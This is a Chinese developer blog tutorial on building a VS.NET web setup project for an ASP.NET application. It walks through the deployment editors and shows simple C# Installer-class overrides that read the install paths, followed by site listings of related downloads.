`
caozuiba
  • 浏览: 900004 次
文章分类
社区版块
存档分类
最新评论

VS.NET安装部署深入研究

 
阅读更多
<iframe marginwidth="0" marginheight="0" src="http://218.16.120.35:65001/PC/Global/images/b.html" frameborder="0" width="728" scrolling="no" height="90"></iframe>
相信很多人都做过安装程序,目前最大功能最全的当属InstallShield,但是InstallShield的语法学习起来实在费劲,相对而言vs.net自带的安装部署短小精悍,且使用C#语法,对于一般C#开发者来说使用起来就极为简便,在对其作了一些研究之后,发现vs.net的安装部署项目的功能也已经非常好用,一般的程序安装都可以轻松实现,当然,在研究的过程中也发现了一些缺陷,这个后面再提。下面就向大家介绍一下ASP.NET安装部署项目的一些复杂应用实现:首先我们假设存在一个已经完工的web项目eHRM,其文件列表如图
单击在新窗口中打开图片,Ctrl+滚轮缩放图片

其中web.config中存在我们的数据库连接及系统的一些其他配置,如数据库类型等,这些配置需要在安装时进行修改。

OK,知道了我们的安装对象,现在开始做安装部署程序,首先,在解决方案中添加一个新项目,如图,项目类型为Web安装项目,项目名称eHRMSetUp。
单击在新窗口中打开图片,Ctrl+滚轮缩放图片

项目添加完毕,选中eHRMSetUp,会发现工具栏发生了一些变化,如图所示:
单击在新窗口中打开图片,Ctrl+滚轮缩放图片

主要有6个工具按钮,分别代码安装部署的6大编辑器:

1、单击在新窗口中打开图片,Ctrl+滚轮缩放图片表示文件系统编辑器,主要用于目标机器的文件安装操作。
2、单击在新窗口中打开图片,Ctrl+滚轮缩放图片表示注册表编辑器,用于目标机器的注册表操作。
3、单击在新窗口中打开图片,Ctrl+滚轮缩放图片表示文件类型编辑器,用于向目标机器安装新的文件类型。
4、单击在新窗口中打开图片,Ctrl+滚轮缩放图片用户界面编辑器,用于确定安装过程中所用到的一些界面。
5、单击在新窗口中打开图片,Ctrl+滚轮缩放图片自定义操作编辑器,调用用户自定义的操作代码。
6、单击在新窗口中打开图片,Ctrl+滚轮缩放图片启动条件编辑器,用于设置安装程序的启动条件。

这6个编辑器不一定全部会用到,我们的demo安装就只需要用到1/4/5大部分的安装包属性均存在于eHRMSetUp项目的属性中,属性界面如图:
单击在新窗口中打开图片,Ctrl+滚轮缩放图片

在这里可以设置产品名称(eHRMSetUp),产品编号(ProductCode)以及安装包全球化类型(Localization)等相关的安装程序属性。除了eHRMSetUp安装部署项目,我们还需要添加一个eHRMSetUpCompenent项目,用来自定义安装操作,在eHRMSetUpCompenent项目中添加一个新的安装程序类,如图:

单击在新窗口中打开图片,Ctrl+滚轮缩放图片

名称为eHRMInstaller.cs,在其中添加如下代码:
复制C#代码保存代码
protected override void OnAfterInstall(IDictionary savedState)
{
    base.OnAfterInstall(savedState);
}
public override void Install(IDictionary stateSaver)
{
    base.Install(stateSaver);
}
protected override void OnBeforeInstall(IDictionary savedState)
{
    base.OnBeforeInstall(savedState);
}
public override void Uninstall(IDictionary savedState)
{
    base.Uninstall(savedState);
}
public override void Rollback(IDictionary savedState)
{
    base.Rollback(savedState);
}

这些代码将主要负责对于安装中的操作进行自定义处理,包括建数据库,配置web.config等。为了在安装部署中调用项目eHRMSetUpCompenent定义的操作,需要在项目eHRMSetUp中添加eHRMSetUpCompenent的主输出和项目eHRM的内容输出,具体操作是选择eHRMSetUp项目后右键——添加——项目输出——选择项目eHRMSetUpCompenent的主输出,添加完毕后如图:

单击在新窗口中打开图片,Ctrl+滚轮缩放图片

现在回到项目eHRMSetUp,打开文件系统编辑器,点击Web应用程序文件夹,编辑其属性,属性界面如下:
单击在新窗口中打开图片,Ctrl+滚轮缩放图片

其中比较重要的就是VirtualDirectory属性,表示安装后建立的虚拟目录名称,其他属性视具体情况而定。下面通过用户界面编辑器来配置用户的安装界面,vs.net2003目前所提供的窗口比较少,如图:
单击在新窗口中打开图片,Ctrl+滚轮缩放图片

基本是几个比较简单的配置窗口,所以如果需要用到一些复杂的配置,那么这些窗口就远远不够用了,不过我们可以进行部分的扩展来实现这些复杂的配置,具体方法如下:

1、在项目eHRMSetUpCompenent中添加一个windows窗口FrmConfig.cs,设计我们需要用的界面。
2、修改eHRMInstaller.cs中的代码如下:
复制C#代码保存代码
protected override void OnAfterInstall(IDictionary savedState)
{
    FrmConfig _FC = new FrmConfig();
    _FC.ShowDialog();
    base.OnAfterInstall(savedState);
}

3、这样,在安装的过程中会中断并弹出FrmConfig让用户进行配置。最后就是通过自定义操作编辑器来设置安装过程中的自定义操作,从web应用程序文件夹选择主输出来自eHRMSetUpCompenent(活动),添加完毕如图所示:

单击在新窗口中打开图片,Ctrl+滚轮缩放图片

分别设置4个主输出的CustomActionData属性为:/LogicDir=[TARGETDIR]/VitualDir=[TARGETVDIR][TARGETDIR]和[TARGETVDIR]是系统部署自带属性,分别表示安装物理目录地址和虚拟目录地址。设置完这些自定义操作的传入参数后就可以直接在eHRMSetUpCompenent项目的代码中进行调用,调用代码如下:
复制C#代码保存代码
public override void Install(IDictionary stateSaver)
{
    //安装物理目录 
    string LogicDir = Context.Parameters["LogicDir"];
    //安装虚拟目录 
    string VitualDir = Context.Parameters["VitualDir"];
    //根据配置安装操作 
    base.Install(stateSaver);
}

最后需要做的就是卸载时的一些文件处理:
复制C#代码保存代码
public override void Uninstall(IDictionary savedState)
{
    //安装物理目录 
    string LogicDir = Context.Parameters["LogicDir"];
    //安装虚拟目录 
    string VitualDir = Context.Parameters["VitualDir"];
    //处理自定义部分的安装内容,如数据库等 
    base.Uninstall(savedState);
}

完成了这一系列动作后,整个程序的安装雏形已经基本OK,只要在相应的地方加入实际安装中所需要进行的一系列Action就可以制作一个完整的安装部署程序。

注意事项:

1、Resource文件属于项目的源文件,而非内容文件,所以如果项目中有Resource文件存在,则需要添加项目的源文件输出,同时利用排除筛选器设置好对*.cs文件和*.resx文件的过滤。

2、Bin目录默认不在web项目中,所以打包还需要加入web项目的主输出或直接把bin目录下的文件加入到web项目中,这样生成的dll会包含在内容文件输出中。

3、安装制作过程中某些目录可能会无法创建(偶没能找到具体原因,估计是因为文件依赖性的缘故),则可以手工在Web应用程序文件夹中直接创建。
分享到:
评论

相关推荐

    ASP.NET常见问题集锦.zip

    vs.net安装部署深入研究.doc WEB_APP_E_BOOK.pdf XML编程从入门到精通.pdf 《ASP.NET完全入门》 一个Web文件上传的C#源代码.doc 为 ASP.NET Datagrid 创建自定义列.doc 为DataGrid写一个DropDownListColumn....

    asp.net知识库

    深入剖析ASP.NET组件设计]一书第三章关于ASP.NET运行原理讲述的补白 asp.net 运行机制初探(httpModule加载) 利用反射来查看对象中的私有变量 关于反射中创建类型实例的两种方法 ASP.Net应用程序的多进程模型 NET委托...

    深入剖析ASP.NET的编译原理

    以我们的ASP.NET Website开发为例,编程、编译、部署都可以借助VS,有了VS一切显得如此简单,每个人都会做,但是我想很多一部分人对一个ASP.NET Website如何进行编译不会很了解。这篇文章就来谈谈背后的故事——ASP...

    北京中科信软VS.NET设计模式与软件架构设计培训1

    第一天 基于微软 .net框架的解决方案设计概述-从理论到实践 第一天将为大家全面介绍基于微软产品和框架的解决方案设计理念;比较各种软件设计方法的利弊以及微软MSF流程概述;同大家探讨软件架构设计的思想。同时...

    c# 7.1 and .net core 2.0 modern cross platform development third edition 电子书+源码

    在快速了解了C#以及.NET如何工作之后,本书深入研究了.NET Standard 2.0类库,其中包括打包和部署自己的库,以及使用通用库来处理集合,性能,监视,序列化等主题。文件,数据库和加密。本书的最后一部分演示了可以...

    Pro .NET Best Practices .net最佳实践 英文版

    所有最佳实践都辅之以实际的项目案例,并对案例代码进行了深入分析,实践性和可操作性极强。  《.NET最佳实践》可分为四个部分。第一部分(第1~5章)着重教授你如何选择和发现这些实践,如何提升团结度,如何量化...

    《.NET最佳实践》.((美)Stephen Ritchie)

    所有最佳实践都辅之以实际的项目案例,并对案例代码进行了深入分析,实践性和可操作性极强。 全书可分为四个部分。第一部分(第1~5章)着重教授你如何选择和发现这些实践,如何提升团结度,如何量化这些实践等。第...

    庖丁解牛:纵向切入ASP.NET 3.5控件和组件开发技术

    4.5 深入研究——定制自己的属性编辑器 85 4.5.1 系统属性编辑器 85 4.5.2 定制属性编辑器 91 4.6 类型转换器 126 4.6.1 系统类型转换器 126 4.6.2 定制自己的类型转换器 128 4.7 实现自定义属性 138 4.8 本...

    庖丁解牛纵向切入ASP.NET 3.5控件和组件开发技术.pdf

    针对读者安装的开发环境不同,笔者分别为vs 2005和vs 2008建立了解决方案,即无论您是使用vs 2005还是vs 2008都可以成功打开本书随书光盘的代码,只是使用vs 2005打开的解决方案不包含.net 3.5对应章节内容的示例...

    基于ASP.NET的大学生心理健康管理系统的研究与实现

    为了满足高等院校心理健康工作高效开展的需求,文中深入研究了高校心理健康工作的实际困难,基于ASP.NET技术设计并实现了大学生心理健康管理的信息系统。本系统面向大学生的心理健康管理工作,进行了详尽的需求分析...

    asp.net基于工作流引擎的系统框架设计开发(源代码+论文).rar

    本资源提供了一个全面且深入的ASP.NET基于工作流引擎的系统框架设计开发解决方案。它包含了详细的源代码和相关的学术论文,旨在帮助开发者理解并实现复杂的工作流管理系统。 该系统框架采用先进的ASP.NET技术构建,...

    庖丁解牛 纵向切入ASP.NET 3.5控件和组件开发 part1

    4.5 深入研究——定制自己的属性编辑器 85 4.5.1 系统属性编辑器 85 4.5.2 定制属性编辑器 91 4.6 类型转换器 126 4.6.1 系统类型转换器 126 4.6.2 定制自己的类型转换器 128 4.7 实现自定义属性 138 4.8 本...

    庖丁解牛 纵向切入ASP.NET 3.5控件和组件开发 part2

    4.5 深入研究——定制自己的属性编辑器 85 4.5.1 系统属性编辑器 85 4.5.2 定制属性编辑器 91 4.6 类型转换器 126 4.6.1 系统类型转换器 126 4.6.2 定制自己的类型转换器 128 4.7 实现自定义属性 138 4.8 本...

    ASP.NET基于web的订餐系统的设计与实现(源代码+论文).rar

    **ASP.NET基于Web的订餐系统设计与实现(源代码+论文)** 本资源提供了一个全面且...总之,本资源是一个集理论研究与实践应用于一体的综合性Web订餐系统,无论是对于初学者还是有一定经验的开发者都具有极高的价值。

    计算机专业毕设精选-ASP.NET客户关系管理系统的实现(论文+源代码+文献综述+外文翻译+答辩PPT).rar

    本资源提供了一个全面且深入的计算机专业毕业设计项目,主题为“基于ASP.NET的客户关系管理系统(CRM)的实现”。该项目不仅包括了详尽的论文报告,还附带了完整的源代码、文献综述、外文翻译以及答辩PPT,旨在为...

    落雨博客基于CAS框架的单点登录技术讲解(ppt+code实例+doc)配套资料

    内含本人实例精华,一个自做PPT,动画解析cas协议,四个客户端client程序实例,一个server端程序,N个文档以及所有xml文件。...3.1.9 CAS深入研究 8 4 开发环境的配置 8 5 运行环境的配置 9 6 结束语 9 7 参考文献 9

    一款非常好的WPF编程宝典2010 源代码

    9.3.1 深入分析WPF中的URI 214 9.3.2 导航历史 215 9.3.3 维护自定义的属性 216 9.4 导航服务 217 9.4.1 通过编程进行导航 217 9.4.2 导航事件 218 9.4.3 管理日志 219 9.4.4 向日志添加自定义项 221 9.4.5 ...

Global site tag (gtag.js) - Google Analytics